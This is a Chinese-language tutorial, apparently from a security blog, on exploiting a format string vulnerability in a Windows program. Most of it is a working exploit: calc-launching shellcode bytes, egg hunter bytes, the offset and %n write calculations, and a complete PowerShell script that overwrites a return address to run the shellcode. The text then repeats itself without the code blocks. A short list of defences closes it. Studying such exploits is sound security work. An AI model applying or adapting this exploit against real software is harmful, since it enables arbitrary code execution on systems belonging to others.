在Windows下利用格式字符串
字数 1406 2025-08-20 18:17:07

Windows下格式字符串漏洞利用技术详解

一、漏洞背景与原理

格式字符串漏洞是当程序使用用户提供的输入作为printf等格式化函数的格式字符串参数时产生的安全漏洞。在Windows环境下,这种漏洞可以被利用来实现任意内存写入,最终导致代码执行。

漏洞核心原理

  1. 当printf函数被调用时,如果没有明确指定格式字符串(如printf(user_input)而非printf("%s", user_input)),用户输入会被解释为格式字符串
  2. 攻击者可以通过特殊格式说明符(如%x、%n)来读取或写入内存
  3. %n格式说明符可以将已输出的字符数写入指定地址,这是实现任意内存写入的关键

二、漏洞利用技术分析

1. 基础利用步骤

  1. 确定偏移量:通过发送多个%x确定用户输入在栈上的位置
  2. 控制写入地址:利用%n将数据写入特定内存地址
  3. 劫持控制流:通常通过覆盖返回地址或函数指针

2. 关键利用技术

寄存器控制技术

在示例中,攻击者控制了EAX和ECX寄存器:

  • EAX指向返回地址所在的内存位置
  • ECX包含要写入的值(shellcode地址)

通过精心构造的格式字符串实现:

mov dword ptr [eax], ecx

内存写入计算

  1. 使用%x读取栈内容,定位关键偏移
  2. 使用%n进行写入,通过调整格式字符串长度控制写入值
  3. 数学计算调整:
    • 计算目标地址与实际地址的差值
    • 通过调整格式字符串中的数值来精确控制写入值

3. Shellcode布置技术

直接布置

  1. 将shellcode放在缓冲区开头
  2. 计算shellcode的绝对地址
  3. 通过格式字符串漏洞将返回地址覆盖为shellcode地址

示例shellcode(调用calc.exe):

push ebp
mov ebp, esp
xor edi, edi
push edi
mov byte [ebp-04h], 'c'
mov byte [ebp-03h], 'a'
mov byte [ebp-02h], 'l'
mov byte [ebp-01h], 'c'
mov dword [esp+4], edi
mov byte [ebp-08h], 01h
lea eax, [ebp-04h]
push eax
mov eax, 75263640h  ; WinExec地址
call eax

Egg Hunter技术

当空间有限时,可以使用Egg Hunter技术:

  1. 在内存中放置特殊标记(如"W00TW00T")
  2. 使用小型Hunter代码搜索内存中的标记并跳转到shellcode

Egg Hunter示例:

66 81 CA FF 0F 42 52 6A 02 58 CD 2E 3C 05 5A 74 
EF B8 54 30 30 57 8B FA AF 75 EA AF 75 E7 FF E7

三、完整利用过程

1. 环境准备

  1. 漏洞程序:接受用户输入并直接传递给printf
  2. 调试器:分析内存布局和寄存器状态
  3. 确定坏字符:如\x00\x09\x20等

2. 分步利用

第一步:确定偏移量

$Buffer = 'A' * 80
$fmt = '%x' * 21 + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final

通过不断增加%x数量,直到EAX指向"BBBB"(返回地址位置)

第二步:精确控制ECX

$Buffer = 'A' * 80
$fmt = '%x' * 51 + '%.425430x' * 3 + '%.424942x' + '%n'
$ret = 'B' * 4
$final = $Buffer + $fmt + $ret
Start-Process ./fmt.exe -ArgumentList $final

计算过程:

  1. 获取shellcode地址:0x0019f758
  2. 除以4:0x0019f758/4 = 425430
  3. 调整差值:0x0019f940 - 0x0019f758 = 488
  4. 最终调整:425918 - 949 = 424942

第三步:组合利用

完整利用代码:

$shellcode = [Byte[]] @(0x55, 0x89, 0xE5, 0x31, 0xFF, 0x57, 0xC6, 0x45, 0xFC, 0x63, 0xC6, 0x45, 0xFD, 0x61, 0xC6, 0x45, 0xFE, 0x6C, 0xC6, 0x45, 0xFF, 0x63, 0x89, 0x7C, 0x24, 0x04, 0xC6, 0x45, 0xF8, 0x01, 0x8D, 0x45, 0xFC, 0x50, 0xB8, 0x40, 0x36, 0x26, 0x75, 0xFF, 0xD0)
$shellcode += [Byte[]] (0x41) * (80 - $shellcode.Length)
$fmt = ([system.Text.Encoding]::ASCII).GetBytes('%x' * 51) + ([system.Text.Encoding]::ASCII).GetBytes('%.425430x' * 3) + ([system.Text.Encoding]::ASCII).GetBytes('%.424942x') + ([system.Text.Encoding]::ASCII).GetBytes('%n') 
$ret = [System.BitConverter]::GetBytes(0x0019f730)
$final = $shellcode + $fmt + $ret
$payload = ''
ForEach ($i in $final) { $payload += ([system.Text.Encoding]::Default).GetChars($i)}
Start-Process ./fmt.exe -ArgumentList $payload

四、技术要点总结

  1. 偏移量计算:通过%x确定用户输入在栈上的位置是关键第一步
  2. 内存写入控制:利用%n和精确计算实现任意地址写入
  3. 寄存器控制:控制EAX指向目标地址,ECX包含要写入的值
  4. Shellcode布置:考虑空间限制和坏字符,可采用直接布置或Egg Hunter技术
  5. 平台差异:不同编译器实现的printf函数可能有差异,需要针对性调整

五、防御措施

  1. 永远不要使用用户输入作为格式字符串
  2. 使用安全的函数如printf("%s", user_input)
  3. 启用编译器的安全特性(如GS、DEP等)
  4. 进行输入验证和过滤

通过深入理解这些技术细节,安全研究人员可以更好地识别和防御格式字符串漏洞,同时也为漏洞利用技术研究提供了重要参考。

Windows下格式字符串漏洞利用技术详解 一、漏洞背景与原理 格式字符串漏洞是当程序使用用户提供的输入作为printf等格式化函数的格式字符串参数时产生的安全漏洞。在Windows环境下,这种漏洞可以被利用来实现任意内存写入,最终导致代码执行。 漏洞核心原理 当printf函数被调用时,如果没有明确指定格式字符串(如 printf(user_input) 而非 printf("%s", user_input) ),用户输入会被解释为格式字符串 攻击者可以通过特殊格式说明符(如%x、%n)来读取或写入内存 %n格式说明符可以将已输出的字符数写入指定地址,这是实现任意内存写入的关键 二、漏洞利用技术分析 1. 基础利用步骤 确定偏移量 :通过发送多个%x确定用户输入在栈上的位置 控制写入地址 :利用%n将数据写入特定内存地址 劫持控制流 :通常通过覆盖返回地址或函数指针 2. 关键利用技术 寄存器控制技术 在示例中,攻击者控制了EAX和ECX寄存器: EAX指向返回地址所在的内存位置 ECX包含要写入的值(shellcode地址) 通过精心构造的格式字符串实现: 内存写入计算 使用%x读取栈内容,定位关键偏移 使用%n进行写入,通过调整格式字符串长度控制写入值 数学计算调整: 计算目标地址与实际地址的差值 通过调整格式字符串中的数值来精确控制写入值 3. Shellcode布置技术 直接布置 将shellcode放在缓冲区开头 计算shellcode的绝对地址 通过格式字符串漏洞将返回地址覆盖为shellcode地址 示例shellcode(调用calc.exe): Egg Hunter技术 当空间有限时,可以使用Egg Hunter技术: 在内存中放置特殊标记(如"W00TW00T") 使用小型Hunter代码搜索内存中的标记并跳转到shellcode Egg Hunter示例: 三、完整利用过程 1. 环境准备 漏洞程序:接受用户输入并直接传递给printf 调试器:分析内存布局和寄存器状态 确定坏字符:如\x00\x09\x20等 2. 分步利用 第一步:确定偏移量 通过不断增加%x数量,直到EAX指向"BBBB"(返回地址位置) 第二步:精确控制ECX 计算过程: 获取shellcode地址:0x0019f758 除以4:0x0019f758/4 = 425430 调整差值:0x0019f940 - 0x0019f758 = 488 最终调整:425918 - 949 = 424942 第三步:组合利用 完整利用代码: 四、技术要点总结 偏移量计算 :通过%x确定用户输入在栈上的位置是关键第一步 内存写入控制 :利用%n和精确计算实现任意地址写入 寄存器控制 :控制EAX指向目标地址,ECX包含要写入的值 Shellcode布置 :考虑空间限制和坏字符,可采用直接布置或Egg Hunter技术 平台差异 :不同编译器实现的printf函数可能有差异,需要针对性调整 五、防御措施 永远不要使用用户输入作为格式字符串 使用安全的函数如 printf("%s", user_input) 启用编译器的安全特性(如GS、DEP等) 进行输入验证和过滤 通过深入理解这些技术细节,安全研究人员可以更好地识别和防御格式字符串漏洞,同时也为漏洞利用技术研究提供了重要参考。